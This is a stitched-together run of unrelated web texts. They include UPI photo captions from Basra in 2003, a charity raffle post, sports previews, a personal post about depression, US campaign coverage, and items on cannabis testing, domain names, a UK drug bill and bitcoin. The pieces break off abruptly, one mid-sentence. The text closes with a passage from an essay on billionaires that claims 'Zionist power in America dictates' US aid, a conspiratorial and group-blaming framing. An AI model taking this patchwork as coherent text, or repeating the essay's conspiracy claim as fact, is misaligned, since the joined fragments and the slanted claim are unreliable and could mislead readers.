BAS2003040607 - BASRA, Iraq, April 6 (UPI) - A Warrior armored personnel carrier from the Royal Scots Dragoon, 7th Armored Brigade, aka Desert Rats, leave a former technical school and Bath Party Headquarters they had taken control of only days previous, in route a dawn raid on Basra, Iraq on April 6, 2003. British forces faced fierce resistance inside the city of Basra but kept driving forward taking over control of most of Iraq's second largest city after days of fighting. cc/cc/Chris Corder UPI. | License Photo
REX2003040811 - Basra, Iraq, April 8 (UPI) -- A Royal Marine for 42 CDO looks out over Basra on April 8, 2003. A car smokes in the distance after contact with a 42nd Patrol shortly before the city was secured. nn/Rex Features UPI **Europe Out** | License Photo
REX2003040816 - Basra, Iraq, April 8 (UPI) -- Royal Marines from 42 CDO head out on patrol from the former palace of Saddam Hussein in Basra on April 8, 2003, shortly after securing the city. nn/Rex Features UPI **Europe Out**. | License Photo
REX2003040803 - Basra, Iraq, April 8 (UPI) -- Col Messenger of the 40th Commandos Marines (left) briefs Commodore Miller Commander of Amphibious Task Group on the progress of 3 Commando Brigades into Basra, Iraq on April 8, 2003. nn/Rex Features UPI **Europe Out** | License Photo
REX2003040810 - Basra, Iraq, April 8 (UPI) -- Royal Marines from 42 CDO set off to Basra on April 8, 2003, shortly before the city was secured. nn/Rex Features UPI **Europe Out**. | License Photo
REX2003040801 - Basra, Iraq, April 8 (UPI) -- Col Messenger of the 40th Commando Royal Marines briefs Commodore Miller commander of Amphibious Task Group, Captain Johns commanding officer of HMS Ocean and Captain Massey of HMS Ark Royal (Front to rear) on the progress of 3 commando brigades into Basra, Iraq on April 8, 2003. nn/REX FEATURES UPI **Europe Out** | License Photo
REX2003040805 - Basra, Iraq, April 8 (UPI) -- A Royal Marine from the 40th Commando patrols the southern road into Basra, Iraq on April 8, 2003. nn/Rex Features UPI **Europe Out** | License Photo
REX2003041012 - Iraq, April (UPI) --A member of the Royal Regiment of Fusiliers guards a Styx anti ship missile found in the Maqal area of Basra, Iraq, in April, 2003. rlw/REX FEATURES UPI.**Europe Out** | License Photo
Basra, IRAQ - Soldiers from the Royal Air Force in the lounge area of Basrah International Airport. mh/sef/Steven E. Frischling UPI | License Photo
REX20030041101 - BASRA, Iraq, April (UPI) -- A Challenger 2 Tank from the Queen's Royal Lancers holds a position as a local biker rides by in Basra, Iraq, in April, 2003. rlw/REX FEATURES UPI.**Europe Out** | License Photo
BASRA, Iraq, March 31 (UPI) -- Britain turned over command in the Basra area of Iraq to the United States Tuesday, a prelude to the country withdrawing its remaining troops in the country.
At one point, British military personnel in Iraq numbered greater than 40,000, The New York Times reported. Most British troops are scheduled to leave Iraq by July.
At a ceremony in Basra, Maj. Gen. Andy Salmon of Britain's Royal Marines turned over control of forces in the Basra area to U.S. Army Maj. Gen. Michael Oates.
Speaking at the handover ceremony, U.S. Army Gen. Ray Odierno, commander of American forces in Iraq, praised the British deployment in Iraq, the Times reported.
"None of this has been easy. We have faced tremendous adversity," he said. "You have given the people of Iraq an opportunity to build a bright and prosperous future."
Since 2003, 179 British troops have died in Iraq.Prizes!
+ [Team Liquid Shirt] +
Tshirt is the same as this one worn by Team Liquids Hot Bid (photo from Team Liquid) Tshirt is the same as this one worn by Team Liquids Hot Bid (photo from Team Liquid)
Enter Here:
As some of you may have heard our very own Paroxysm needs surgery on his eyes due to suffering from a disease called Keratoconus. He has been trying to raise money via his charity stream, but Frenetic Array thought we would give him a helping hand and show him how much our community wants to help!Read more about the cause here! A Razer shirt signed by Tastless, Artosis, HD and PainUser along will the WCS Oceania Finalists!A StarWars The Old Republic Mouse Mat (Two to be won)An SC2SEA t-shirt from SEA Clan Time of Rising complete with the ToR logoOne Official Blizzard Zerg logo shirt - Size XLOne Official Blizzard Terran logo shirt - Size LOne Official Blizzard Protoss logo shirt - Size LOne Team Liquid shirt, no longer available to buyAn hour of coaching from Frenetic Array Terran, Iaguz (Two to be won)An hour of coaching from Frenetic Array Zerg, Ninja (Two to be won)One Infinity TGM Subscriptionor by Paroxysm's paypal : nickmcguffin@me.com Every five dollars you donate gains you one entry into each prize draw! Include your name and email so we can contact you when you win!Entry will be determined by PayPal account identity, your donation is your ticket to win. Prizes will be drawn on Saturday 27th of January.If you would like to donate any prizes towards the raffle please contact me and let me know!fray`Chadmann - for donating the signed Razer shirtRazer - for donating the awesome SWTOR Mouse MatsFrenetic Array - for Iaguz and Ninja's coaching lessonsTime of Rising - for the SC2SEA ToR TshirtArnor - for the Protoss, Zerg and Terran Tshirtssl0th - for the Infinity TGM Subscription and the Team Liquid Shirt!FOXBOROUGH, Mass. – The US national team can punch their ticket to the Gold Cup quarterfinals with a win over Haiti on Friday night (8:30 pm ET, FOX Sports 1/UniMás/UDN in US, Sportsnet World in Canada) and Jurgen Klinsmann may be looking down the line on his roster to see who might be capable of sticking around for the long haul.
While the US coach expects a challenge similar to what they faced against Honduras on Tuesday in a 2-1 win, he also sounded like a man with a vision past the group stage, which, should they advance, will open up the opportunity for roster moves.
While Klinsmann admits that there is plenty of in-house competition for playing time on matchday, there is also the motivation for players to keep their spot on the roster itself once the knockout stage arrives.
“There’s a tricky situation that especially now in the Gold Cup you play every three days the group games which is a very, very short turnaround for every team,” Klinsmann said at his press conference on Thursday evening. “We think through that. We also still see a lot of competition going on in our own team. There are quite a lot of fifty-fifty situations going on the table.
“There’s also the situation that theoretically every team can switch players after the group stage. The players know as well. So if you’re [the 23rd player on the roster] now, you don’t want to lose anything. You want to be here on the 26th of July in Philadelphia. This kind of all gives it more spice and hopefully there’s a lot of spice here tomorrow night.”
Heading into Friday’s tilt, Haiti actually hold a 5-6-5 advantage over the United States all-time in head-to-head matches.
For Klinsmann, the Haitian roster is propped up with players who have gained experience in international markets and he wants to make sure that his group does not get surprised, as Panama did in allowing a late goal that leveled their contest against the Haitians on Tuesday.
“It’s a team full of individual quality if you look at their roster and the places that they’ve played, a lot of them played in Europe,” said Klinsmann. “I think Panama got that lesson and we have to make sure we’re not getting caught on the wrong foot here.”
In order to ensure that the US do not succumb to what Panama did, it may mean a good hard look at some specific players deep on Klinsmann’s roster.
“You want to kind of give everyone that is here the feeling that we count on you,” said Klinsmann. “They have the head start. In the best scenario everybody stays healthy, actually everybody gets even fitter with every game and every training session, and we stay the same 23.
"If we see that we clearly could have an edge with somebody coming in that is better than the one that is here right now, than we will make that switch as well.”
But the priority to the USMNT boss remains the upcoming game.
“Our expectation is to go through and we want to go through the fastest way possible with three points tomorrow night to be already in quarterfinals,” said Klinsmann.Not sure what to call this, not sure where to start, not sure what to say. I'm going to try typing some thoughts out since it's more than sitting here looking at a blank screen for hours.
As you all can tell i've let most of my accounts rot over the past few months which is really unfair to those who have enjoyed my work and who ever is left following. I haven't lost any passion for art, and school hasn't taken up so much time that I can't still provide art. If anything I need to put more time towards school...
I've hit such a hard low if that makes any sense. I dont like what i've made and life has left me feeling isolated enough to let those thoughts fester. I still love making art but my willpower to do so has been a bit drained. Selling my art at cons has only felt like a chore in which I fall short on every time... as for every major project I have has been given up on because it never felt like what I was doing mattered
My irl life has only been going down, after awhile everyone I met while being here stopped being around. They each moved on to do their own things while I fell down and became stagnant. Figured after moving i'd feel a little better, but nothing. Now im failing at what I came here to do, being the same old mess. I really want to stop this domino effect and if any one can provide some insight on how it would be a blessing.
Granted there's not much context im giving, but my intention is not to gather sympathy but at least send something out there about how things have been. I know close friends and some family will stumble across this and be surprised a little... sorry for not being so open.
For now i'll release old art I have kinda finished, at this point I don't care for it. You all might like it at least, so it's only fair I send it out there. Some of it is very old.
Thank you to those who read this and took the time for something that, unlike my other journals isn't too motivational... It's hard being positive with how things have been. I'm hoping my next update or whatever I plan to do will be a brighter outlook than this.
through and through, I hope you all have been taking care of yourselves. Talk to you soon.— Former Florida governor Jeb Bush took to the stage in Iowa on Saturday a humbled man.
“Iowans are discerning voters,” Bush told some 2,000 potential caucus-goers at the Iowa GOP’s Growth and Opportunity Party on Saturday. “They’re informed voters, they’re nice, and they treat you with respect.”
“Poll numbers go up, and they go down,” he added. “When they go down, you don’t insult Iowa voters because they are the same discerning voters.”
It has been a tough week for the man who many expected to be the candidate to beat in the GOP primary. He admitted, readily, that his performance during Wednesday night’s much-maligned CNBC debate left him weakened.
[GOP candidates tangle with one another — and CNBC — in a chaotic debate]
Republican presidential candidate and former Florida governor Jeb Bush mingles with supporters after speaking at the GOP’s Growth and Opportunity Party in Des Moines on Saturday. (Nati Harnik/AP)
“I say this somewhat in jest, at least there was someone who fared worse in the last debate than me: CNBC,” Bush said amidst a sea of supporters clamoring for selfies.
“I know I have to get better,” he added. “I don’t have this gigantic ego that says, ‘Well they’re just stupid. Iowa voters don’t understand me.’
“But also, I’m a really competitive guy.”
Earlier in the evening, the man who most believe is his greatest competition, Sen. Marco Rubio (R-Fla.), milled with Iowa voters and welcomed a guest — Sen. Joni Ernst (R-Iowa), who has declined to endorse anyone in the presidential primary before the Iowa caucuses.
“Welcome to Iowa! Nice to have you back!” Ernst said as they embraced. “Look at all these people!”
If voters are finally starting to pay attention to Rubio, as his campaign suggests, it is helped by the candidate’s obvious affinity for retail politics.
“He’s charismatic,” noted Steven Fox, 58, who came to hear the candidates at the forum. “I saw him in Ankeny about two months ago. He took the time to speak with everyone.”
Sen. Joni Ernst (R-Iowa) welcomes Sen. Marco Rubio (R-Fla.) to Des Moines, Iowa at the Iowa GOP’s Growth and Opportunity Party on Saturday, Oct. 31. Louisiana Governor Bobby Jindal (R) who was also at the gathering speaks to reporters about his take on debates. (Sarah Parnass/The Washington Post)
“I think he can unite people,” Fox added.
[Marco Rubio’s moment: Can he meld establishment cash, outsider appeal?]
Here in Iowa, Rubio supporters say his stock is rising after he survived an attack during the debate by his onetime mentor Bush, but the candidate is sticking to a tried-and-true script.
“We’re doing the same thing that we’ve been doing for the last six months, and that’s just the basics of running a good campaign,” said Iowa state Sen. Jack Whitver, who is chair of Rubio’s campaign in the state.
“The difference is there’s just a lot more people that are ready to commit that have seen enough,” he added. “People that were intrigued and interested and on the fence in the last five days have decided that they’re ready to commit.”
[Has the Marco Moment arrived?]
Outside of Iowa, too, the Rubio buzz is escalating. Friday, he nabbed a critical endorsement from billionaire donor Paul Singer, who is wealthy and powerful enough to potentially move millions into his camp.
[Rubio scores major endorsement from billionaire GOP donor Paul Singer]
At the forum, Rubio disappeared from the room just before Bush was scheduled to speak. Later, amid a sea of journalists and supporters, Rubio was rushed to his car to make a commercial flight out of Iowa after two days of campaigning.
Absent on Saturday were businessman Donald Trump and retired neurosurgeon Ben Carson, who are vying for the lead in the Iowa polls. Ohio Gov. John Kasich also did not appear.
For candidates struggling to get momentum with voters, Wednesday night’s chaotic debate on CNBC has become the newest front in their fight against the much-maligned “establishment,” within the media and their own party.
Sen. Ted Cruz (R-Tex.) made the issue his standout moment on the debate stage Wednesday, and it was one of the most well-received portions of his speech at the Iowa forum.
“How about instead of a bunch of attack journalists, we actually have real conservatives” moderate debates, Cruz said, before name-checking several conservative pundits including “Fox News” host Sean Hannity, and radio hosts Rush Limbaugh and Mark Levin.
Louisiana Gov. Bobby Jindal, whose polling performance has relegated him to the smaller, undercard debates, complained that the Republican National Committee should put all candidates on the same stage.
“The whole process is broken, and I think it started with the RNC and the networks trying to limit the number of debates, trying to limit who is there,” Jindal said. “I think it’s clear they were trying to protect the establishment.”
But other candidates are against the strategy of rallying the conservative base by working the referees, noting as New Jersey Gov. Chris Christie did, that the party’s nominee will be forced to answer tough questions in a general election debate, potentially against Democratic front-runner Hillary Rodham Clinton.
“I’m not one of these complainers about this, okay,” Christie said. “You set up a debate, I’ll show up. I’ll answer whatever questions you have, and if I think they’re stupid questions, like I did the other night, I’ll say it’s a stupid question.
“I just don’t think you get anywhere by moaning and complaining.”A few weeks ago, I wrote about the state’s proposals for the required lab testing of cannabis. If passed as written, all marijuana products will be examined in licensed laboratories for moisture content, pesticide presence, and other elements before it can be sold to the public.For some dispensaries across California, these regulations may significantly change the way they do business. But in Berkeley, where the city mandated strict testing in years ago, it’s more or less par for the course.At Berkeley Patients Group, they’ve been testing their products for about a decade. But Victor Pinho, the dispensary’s director of marketing and communications, describes the city’s regulations as a double-edged sword.“It’s great, because you’re providing the cleanest medicine to the consumer,” he said. “But from the purchasing perspective... of all the greatest medicine grown in Northern California, we see most of it come through our shop, and we can really intake less than 10 percent of it.”That’s because, as Pinho explained, even the tiniest factors won’t pass inspection. For instance, insect frass, an organic material left over from insects that helps marijuana plants create natural hormones that help fight pests, won’t fly. It’s a benign substance, but it’ll flunk microbiological labs.Pinho says that even name-brand cannabis products have failed Berkeley’s standards. But in the past, it hasn’t always obstructed producers from finding a home for their products.“The medicine that won’t be sold in Berkeley doesn’t necessarily go to the black market, but it’ll end up in Oakland,” where there are currently less restrictions, Pinho explained.So, if the new regulations are imposed across the state, where will it go?On one hand, statewide testing standards will help level the playing field for dispensaries such as BPG, who’ve had to play by more rigorous standards. But while it may make the market more competitive in one sense, now BPG will have to compete for lab time.Right now, BPG can get their product back from their lab of choice, CW Analytics, in a matter of days. But if every dispensary in the Bay Area needs to utilize a limited number of testing sites — there are only a few here, and even less are properly licensed under the new standards — it could potentially create a major lag time in getting products on the shelves.And that is going to hurt consumers, even though testing the weed helps.Everyone knows something that sucks. But what if it truly "dot-sucks"?
Soon you'll be able to tell right away in the address bars of the world's browsers thanks to the ".sucks" domain, one of more than 1,400 proposed options for kicking aside ".com" revealed Wednesday by the overseers of the world's website addresses.
None of these new suffixes is available yet. But the announcement by the Internet Corporation for Assigned Names and Numbers (ICANN) was the first time the public had a chance to see all the new domain names sought by applicants in what would be the biggest expansion ever of URL real estate. As the number of web addresses registered has exploded, it's become almost impossible to get a.com address that includes anything remotely resembling the English language. Unless you have the money to pay a speculator, or are willing, like so many startups, to drop all your vowels, you're stuck.
New domains have been established in the past one or two at a time (".info" and ".tv" for example), but this is the first time ICANN has taken proposals from all comers, at least those who can afford the $185,000 application fee per name. Google was one of the top applicants, writing checks for 101 domains. Amazon was also in on the action with 76. The most popular name among all applicants was ".app," with 13 bidders, followed by ".home" and ".inc," each with 11. Three applicants are vying to control ".sucks," which will no doubt do wonders for civil discourse on the internet.
One of them is John Berard, CEO of Vox Populi Registry, who thinks companies should want to scoop up ".sucks" domains that include their name as a way to channel consumer vitriol into a venue they can control. "We are hopeful that we can bring into the light of day a legitimate conversation between customers that have a complaint and companies that could benefit from hearing," Berard says.
Berard points to sites like McDonalds Sucks (tag line: "I am hating it") to show that consumers already use URLs to vent about companies. He says that, ironically, many consumers who "like" a company's Facebook page have actually just come there to complain.
If Vox Populi wins control, Berard says they would be vigilant to make sure those with trademark rights get access to their ".sucks" domains. He wouldn't say exactly how much a ".sucks" domain would cost, but the intent appears to price the domains out of the reach of the merely peeved.
"We plan to price the names so that they will not be indiscriminantly registered by speculators," he says. "We're not just going to sprinkle the ground with these names."
To get the chance to sell the name at all, though, he'll have to beat out domain-name juggernaut Donuts Inc., which led with applications for more than 300 top-level domains, including ".sucks". To make that kind of a play, the company had to spend more than $56 million in application fees alone–still far less than the more than $100 million Donuts says it's raised from investors.
Before the new domain names go live, which likely won't be for at least a year, the ICANN evaluation process includes a period when competing applicants are encouraged to work together to reach some kind of agreement. If they can't, the names go to auction. Daniel Schindler, a co-founder of Donuts, says his company intends to win them all, from ".baby" and ".book" to ".tech" and ".vote".
Then the real land grab begins, and not all are convinced it will end well. The Association of National Advertisers believes ICANN hasn't put enough protections in place to prevent squatters from buying up names that should by rights belong to trademark holders and then effectively holding them for ransom. The group has lobbied ICANN and the federal government for the right to low-cost "do not sell" registry for businesses seeking so-called defensive registrations to protect their trademarks.
As potentially hundreds of new domain options come online, there is a separate but related issue of companies having to protect their reputations from less than flattering URLs, says ANA vice president of government relations Dan Jaffe.
Jaffe points to the rush by companies, celebrities and others to buy up domains protectively when ".xxx" became available, not to start adult sites, but to make sure their names didn't get connected to porn.
"That was just one. And there are plenty of others that are sitting here," says Jaffe, noting that applicants have applied for ".porn", ".sex" and ".adult". "If better protections aren't built in, this could be a negative, rather than a positive, step for the internet."Peers debated the main principles of the government's Psychoactive Substances Bill in the House of Lords yesterday and seemed to be in agreement on one thing: its hopelessly vague.
The bill, designed to take aim at legal highs, defined a psychoactive substance as any substance that can affect a person's'mental functioning or emotional state', with many critics pointing out that this effectively bans everything.
Lib Dem lord Brian Paddick told the House that the "dangers in the bill as drafted are to make the drug laws even more of a laughing stock than they are currently."
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Here is the exchange in full (you can read the transcript from the session here):
Lord Tunnicliffe (Lab): For the avoidance of doubt, is the noble Lord saying that the Liberal Democrats so oppose the essence of the Bill that they will either vote against it or propose wrecking amendments?
Lord Paddick: My Lords, we do not propose to wreck the Bill. Clearly, we cannot allow head shops to continue operating as they do now—purporting to sell substances that are harmless when they are far from harmless, or trying to get around the law by saying in very small print on the back of the substances that they are not fit for human consumption. However, the dangers in the Bill as drafted are to make the drug laws even more of a laughing stock than they are currently.
Baroness Hollins was similarly critical, pointing out the inherent contradictions in the bill, which implies that alcohol doesn't contain a psychoactive substance.
"My Lords, the Bill defines a new psychoactive substance as any substance intended for human consumption, 'capable of producing a psychoactive effect'," she told the House.
"It describes a substance causing a psychoactive effect on a person as, 'if, by stimulating or depressing the person's central nervous system, it affects the person’s mental functioning or emotional state'.
"I speak as someone who has been a psychiatrist for many years, although this is not my field of psychiatry. However, alcohol produces this effect. Antihistamines for hay fever do, too, as do many of the most helpful medications for neurological disorders such as multiple sclerosis.
"In fact, many medical drugs also have a value on the street, being taken by those seeking their psychoactive effects. Will future novel versions of these medicines also be banned before they have been through a definitive clinical trial? Will those trials even be allowed to take place?"
There was further criticism of the Psychoactive Substances Bill in its current state, with peers eventually agreeing to give it a second reading and to commit it for consideration in detail by a committee of the whole House.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.A Washington, D.C. deaf college has suspended its “Chief Diversity Officer” after another faculty member complained the woman signed a petition supporting the reversal of Maryland’s same-sex marriage law.
The woman claims the incident is a misunderstanding and groups on both sides of the issue are calling for her to be reinstated.
The incident at leading deaf college Gallaudet University was first reported by the site Planet Deafqueer. According to the site, Dr. Angela McCaskill signed the petition, which calls for Maryland voters to overturn the state’s same-sex marriage law on Nov. 6, at her church. When confronted by a faculty member who saw her name on the petition, she said the church’s pastor had just delivered a sermon about gay marriage and she signed “without giving it further thought.” After a meeting with the university president, McCaskill was placed on administrative leave Wednesday.
Now the two groups sparring over the crucial vote are coming to McCaskill’s defense. A spokesperson for Marylanders for Marriage Equality said: “Everyone is entitled to free speech and to their own opinion about Question 6, which is about treating everyone fairly and equally under the law.” A spokesperson for Maryland Marriage Alliance, which wants to overturn the law, expressed “complete dismay” over the incident.
The school only created the “Chief Diversity Officer” position in 2011. Here’s video of McCaskill being introduced. Do you think she should be reinstated to her post?Bitcoin fell Tuesday after Coinbase, the leading platform for buying and selling bitcoin in the United States, said Tuesday it was rolling out support for bitcoin cash.
"Sends and receives are available immediately. Buys and sells will be available to all customers once there is sufficient liquidity on GDAX. We anticipate that this will take a few hours," Coinbase said in a blog post Tuesday.
However, Coinbase said in a subsequent, 11:15 p.m. ET tweet that buying and selling would likely not be available until Wednesday. Bitcoin cash trading was also suspended on GDAX until noon ET Wednesday. Coinbase has struggled several times this year to keep up with high demand.
Bitcoin cash split off from the original bitcoin on Aug. 1 after a group of developers decided to try to improve bitcoin transaction speeds and costs. Roger Ver, an outspoken and early bitcoin investor, is a major supporter of bitcoin cash.
The majority of developers who supported the original bitcoin failed to reach an agreement this fall on their own upgrade proposal, SegWit2x.
The offshoot currency soared more than 70 percent Tuesday evening ET to a record high of $3,813.70 and was trading near $3,339 as of 11:37 p.m., ET, according to CoinMarketCap.
The original bitcoin was down about 10 percent to near $17,074, according to Coinbase, after earlier dropping as low as $15,005.
Investors in bitcoin at the time of the split should have received an equivalent amount of bitcoin cash, but Coinbase did not immediately do so, and said it would provide support by January. On Tuesday, Coinbase said all customers at the time of the split would have bitcoin cash.
The announcement follows news in the last few days that a large bitcoin payments processor BitPay and major cryptocurrency storage company Blockchain would support bitcoin cash.
Clarification: This story has been updated to reflect that Coinbase would soon allow customers to buy and sell bitcoin cash. The service was not available immediately.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
On his FNC program The O’Reilly Factor tonight, Bill O’Reilly used the Gulf oil spill as evidence that President Obama has become more polarizing than George W. Bush, “The fuse has been lit. President Obama has become even more polarizing than George W. Bush was.”
Here is the video courtesy of Media Matters:
O’Reilly said, “The United States is the most powerful country the world has ever seen, and now it is an angry nation. The fuse has been lit. President Obama has become even more polarizing than George W. Bush was, and almost every elected politician is in danger of losing his or her job. Simply put, Americans are fed up. They believe they can no longer control their own lives.”
That is a nice little bit of Fox News fantasy O’Reilly put out there. It’s too bad that it isn’t true. If Americans are so fed up and there is such a rising tide coming in the November elections, then why are these establishment politicians from both parties doing so well in the primaries? There is no doubt that Americans are frustrated and angry about the economy and the oil spill, but if Obama is so polarizing, why aren’t Republicans more popular? Why have Democrats now taken a small lead on the generic congressional ballot, and why do the Republicans in Congress have an 11% approval rating? If Bill-O is speaking the truth, then something doesn’t add up.
It would be impossible for Obama to be as polarizing as Bush, because the Florida 2000 fiasco polarized the country before Bush ever took office. Under his ideologically driven administration, the polarization continued to grow. Whereas, the Right has been on a mission to obstruct, minimize, and make Obama seem as polarizing since the day he won the election. It is their strategy to defeat him. The Republican strategy is to make Obama look as bad as Bush, this is where Bill-O’s comments fit in.
People like O’Reilly are hoping that the American people don’t notice that it is the Republican Party and their media arm, Fox News who are trying to divide and polarize the nation. Obama tried his best to be bi-partisan when he first arrived in Washington, and got spit in the eye for his efforts. People like O’Reilly continue to blame Obama for the polarization, while they continue to work to divide the country every single day. Bill O’Reilly can try to sell his half baked con job, and even if the viewers of Fox News aren’t smart enough to see through it, lucky for us, the rest of the country is.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:On the Road to the K-State Invitational
FAYETTEVILLE, Ark. – On the heels of three wins to open its 2017 campaign, the University of Arkansas volleyball team travels to Manhattan, Kan., for the K-State Invitational which begins Thursday against the host Wildcats. Arkansas (3-0) is also set to face sixth-ranked Wisconsin and Syracuse during the three-day event.
2017 K-State Invitational | Match Notes
Thursday, Aug. 31
7 p.m. – Arkansas at Kansas State
ESPN3 | Live Stats
Friday, Sept. 1
5:30 p.m. – Arkansas vs No. 6 Wisconsin
Live Stats
Saturday, Sept. 2
11 a.m. – Arkansas vs Syracuse
Live Stats
Against the Field
Arkansas has a combined 5-9 record against the field at this weekend’s K-State Invitational with 10 of those 14 against the home team. Arkansas and Syracuse will be meeting for just the second time, and first time since the 1999 season. Arkansas and Kansas State will be meeting for the fifth time in as many years.
Rippee Garners SEC Accolades
In recognition of her standout performance during the season-opening Arkansas Classic, sophomore Rachel Rippee earned SEC Setter of the Week accolades. The Springfield, Mo., native averaged an SEC-leading 11.80 assists per set and directed the Razorbacks to a.274 hitting percentage during the opening weekend. Rippee is the second Razorback to win the award since its inception in 2015 (Adrien Wohlschlaeger).
Top-10 Outburst
In its last match, Arkansas beat Utah State (Aug. 26) behind its.422 team hitting percentage which marked the 10th-highest figure in program history. After committing seven attack errors in the opening set, the Razorbacks had just three combined errors in the next two sets. It was Arkansas’ first top-10 offensive outing since 2013.
Welcome Back, Pilar
After missing the 2016 season with injury, redshirt senior Pilar Victoria made the most of her return with a 6.80 kills per set while hitting.406 during the Arkansas Classic. She had at least 19 kills in each match including a 26-kill effort against Utah State, her fifth-career match with 25 or more kills.
Point, Arkansas
Through the opening weekend of the season, Arkansas leads the SEC with 2.30 service aces per set. Individually, Okiana Valle and Krista Kolbinskie each have six aces to lead the team. Six different Razorbacks—Kolbinskie, Valle, Pilar Victoria, Rachel Rippee, Elizabeth Pamphile and Klaire Trainor—had at least one ace.
The Razorbacks’ next home match is Tuesday, Sept. 5 when the team welcomes Oral Roberts to Barnhill Arena. First serve of the regional matchup is scheduled for 7 p.m. Season tickets are still available with pricing options beginning at $40 and can be purchased through the Razorback Ticket Center by calling 800-982-HOGS (4647).
For more information about Arkansas Volleyball, follow @RazorbackVB on Twitter.Image copyright Renata Moura Image caption Damiao has taught his mother Sandra to read
It has only been a year since Sandra Maria de Andrade woke up to the wondrous world of reading.
One afternoon after work, the rubbish picker from north-eastern Brazil was lying exhausted in a hammock when her youngest son, Damiao Sandriano, invited her to take a look at a book.
"Mum, would you like to read with me?" he asked. "It's a story, and it has pictures."
At the time, the 42-year old was unable to write her own name.
The closest to any formal education she had ever had was a class for young adults in which she was taught the letters of the alphabet.
But she gave up, frustrated at not being able to get past the letter "e". She recalls the experience as "an agony".
It was not until her son stepped in that she would try again.
After a few informal lessons by Damiao at their home on a dirt road in Jardim Progresso, a poor community on the outskirts of the city of Natal, Sandra was able to trace an "e".
'No more shame'
Damiao helped his mother how to remember the letters better. The "R", he explained is "like a 'B' but open".
Image copyright Agil Fotografia/BBC Brasil Image caption Damiao has helped his mother remember the letters of the alphabet and how to write them
The letter "h" they simply nicknamed "the chair |
echelons of the political class, securing monopolies via state contracts. India’s high growth over the past decade (averaging 7%) and the upsurge in billionaires upward to 55 by 2011, are both linked the neo-liberal policies of deregulation, privatization and globalization, which have concentrated wealth at the top, undermined small scale producers and dispossessed tens of millions.
Brazil’s billionaire class has expanded rapidly, especially under the leadership of the Workers Party, to 29, up from single digits a decade earlier. Today over two-thirds of Latin America’s billionaires are Brazilians. The centerpiece of Brazil’s super rich wealth is the financial-banking sector which has benefited enormously from the monetary, fiscal and neo-liberal policies of the Lula Da Silva regime. Billionaire bankers have been the principle beneficiaries of the agro-mineral export economy which has flourished over the past decade, at the expense of the manufacturing sector. Despite claims by Workers Party leaders, the class inequalities between the mass of minimum wage workers ($380 per month as of March 2011) and the super-rich continues to be worst in Latin America. An analysis of the source of wealth among Brazilian billionaires reveals that 60% accrued their wealth in the finance, real estate and insurance (FIRE) sector and only one (3%) in the capital or intermediary maufacturing sector. Brazil’s boom in economic growth and billionaires fits the profile of a ‘colonial economy’: heavy in conspicuous consumption, commodity exports and presided over by a dominant financial sector which promotes neo-liberal policies. Over the course of the past decade despite the populist political theatrics and paternalistic poverty-programs sponsored by the “center-left” Workers Party, the major socio-economic outcome has been the growth of a class of “super-rich” billionaires concentrated in banking with powerful links to the agro-mineral sectors. The free-market high growth financial-agro-mineral class has degraded the manufacturing sector, especially textiles and shoes, as well as capital and intermediary goods producers.
The BRICs are producing more,and growing faster than the established imperial powers in Europe and the US but they are also producing monstrous inequalities and concentrations of wealth.The socio-economicconsequences have already manifested themselves in increasing class conflict especially in China and India, as intensive exploitation and dispossession have provoked mass action. The Chinese political elite seems to be the most conscious of the political threat posed by the growing concentration of wealth and is in the midst of promoting substantial wage increases and greater local consumption which seems to be lowering profit margins among some sectors of the manufacturing elite. Perhaps the ‘historical memory’ of the “cultural revolution’ and the Maoist legacy plays a role in alerting the political elite to the political dangers resulting from “capitalist excesses” associated with the high levels of exploitation and the rapid growth of a class of politically connected kinship based billionaires.
Middle East:
Over the past decade the most dynamic country in the Middle East has been Turkey. Led by a liberal democratic regime of Islamic inspiration, Turkey has led the region in GDP growth and in the production of billionaires. The Turkish economic performance has been presented by the World Bank and the IMF as a model for the post dictatorial regimes in the Arab world – ‘high growth’, a diversified economy based on the growing concentration of wealth.Turkey has 35% more billionaires (37) than the Gulf and North African states combined (24). The ‘secret’ of Turkish growth is the high rates of investments in diverse industries and the intensive exploitation of labor. Many Turkish billionaires(14) derive their wealth via ‘conglomerates’, investments in diverse manufacturing, finance and construction sectors. Apart from the ‘conglomerate’ billionaires, there are ‘specialist billionaires’ who have accumulated wealth from banking, construction and food manufacturing. One of the reasons Turkey has rebuked and challenged Israeli power in the Middle East is because its capitalists are eager to project investments and penetrate markets in the Arab world. Apart from the highly Zionized US political system, the ruling elites and publics in Europe and Asia have looked favorably on Turkey’s opposition to Israel’s massacres in Gaza and violation of international law on the high seas. If a modern liberal Islamic regime can grow rapidly through the rapid expansion of a diversified class of the super-rich,so does Israel, a modern neo- liberal-Judaic state based on the rapid growth of a highly diverse class of billionaires. Israel with 16 billionaires is a country with the fastest growing class inequalities in the region-with the highest per-capita billionaires in the world… Israel’s “growth sectors”, software, military industries, finance, insurance and diamonds and overseas investments in metals and mining are led by billionaires and multi-millionaires who have benefited from Zionist induced financial handouts from the US pillage of resources from the ex USSR and transfer of funds by Russian-Israeli oligarchs and though joint ventures with Jewish-American billionaires in software corporations, especially in the “security” sector. Israel’s high percentage of billionaires at a time of sharp cuts in social spending puts the lie to its claim to be a ‘social democracy’ in the midst of Arab ‘sheiksdoms.’ As a matter of record, Israel has twice as many billionaires (16) as Saudi Arabia (8) and more super-rich than the entire Gulf countries (13). The fact that Israel has more billionaires per capita than any other country has not prevented its Zionist supporters in the US from pressing for additional 20 billions in aid over the next decade. Unlike the past,today Israel’s wealth concentration has less to do with its being the biggest recipient of foreign aid …Israel’s handouts is a political issue: Zionist power over the Congressional purse. Given the total wealth of Israel’s billionaires a five percent tax would more than compensate for any cut off of US foreign aid. But that is not about to happen simply because Zionist power in America dictates that the US taxpayers subsidize Israel’s plutocrats by paying for their offensive weaponry.
Conclusion
The “economic crises” of 2008-2009 inflicted only temporary losses to some (US-EU) billionaires and not others (Asian). Thanks to trillion dollar/Euro/yen bailouts, the billionaires class has recovered and expanded, even as wages in the US and Europe stagnate and ‘living standards’ are slashed by massive cutbacks in health, education, employment and public services.
